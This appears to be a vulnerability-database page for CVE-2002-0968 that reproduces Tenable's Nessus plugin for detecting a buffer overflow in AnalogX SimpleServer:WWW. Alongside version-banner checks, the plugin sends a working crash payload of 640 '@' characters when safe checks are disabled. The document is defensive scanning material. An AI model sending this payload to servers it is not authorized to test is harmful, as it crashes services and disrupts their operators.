CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
EPSS
Percentile
95.8%
The remote installation of AnalogX SimpleServer:WWW is affected by a buffer overflow triggered when processing input, such as a series of 640 ‘@’ characters. An unauthenticated, remote attacker can leverage this issue to crash the affected service or even to execute arbitrary code on the remote host.
#
# (C) Tenable Network Security, Inc.
#
# Rerefence:
# To: [email protected]
# From:"Fort _" <[email protected]>
# Subject: Remote DoS in AnalogX SimpleServer:www 1.16
# Message-ID: <[email protected]>
include("compat.inc");
if(description)
{
script_id(11035);
script_version("1.27");
script_cve_id("CVE-2002-0968");
script_bugtraq_id(5006);
script_name(english:"AnalogX SimpleServer:WWW Buffer Overflow");
script_summary(english:"Crashes SimpleServer:WWW");
script_set_attribute(
attribute:"synopsis",
value:"The remote web server is vulnerable to a buffer overflow attack."
);
script_set_attribute( attribute:"description", value:
"The remote installation of AnalogX SimpleServer:WWW is affected by a
buffer overflow triggered when processing input, such as a series of
640 '@' characters. An unauthenticated, remote attacker can leverage
this issue to crash the affected service or even to execute arbitrary
code on the remote host." );
script_set_attribute(attribute:"see_also",
value:"https://seclists.org/bugtraq/2002/Jun/112"
);
script_set_attribute(
attribute:"see_also",
value:"https://seclists.org/bugtraq/2002/Jul/13"
);
script_set_attribute(
attribute:"solution",
value:"Upgrade to version 1.23 or later as that reportedly fixes the issue."
);
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"plugin_publication_date", value: "2002/06/30");
script_set_attribute(attribute:"vuln_publication_date", value: "2002/06/13");
script_cvs_date("Date: 2018/11/15 20:50:25");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_MIXED_ATTACK);
script_copyright(english:"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
script_family(english:"Web Servers");
script_dependencies("http_version.nasl");
script_require_ports("Services/www", 80);
script_require_keys("www/simpleserver");
exit(0);
}
# The script code starts here
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80, embedded: 0);
banner = get_http_banner(port: port);
if (! banner) exit(0);
if (!egrep(pattern:"^Server: *SimpleServer:WWW/", string:banner)) exit(0);
if (safe_checks())
{
if (egrep(pattern:"^Server: *SimpleServer:WWW/1.[01]([^0-9]|$)", string:banner))
{
server = strstr(banner, "Server:");
server = server - strstr(server, '\r\n');
report = string(
"\n",
"Nessus made this determination based on the version in the following\n",
"Server response header :\n",
"\n",
" ", server, "\n"
);
security_hole(port:port, extra:report);
}
exit(0);
}
if (http_is_dead(port: port)) exit(1, "The web server is dead");
w = http_send_recv_buf(port: port,
data:string(crap(length:640, data:"@"), "\r\n\r\n"));
if (http_is_dead(port: port)) security_hole(port);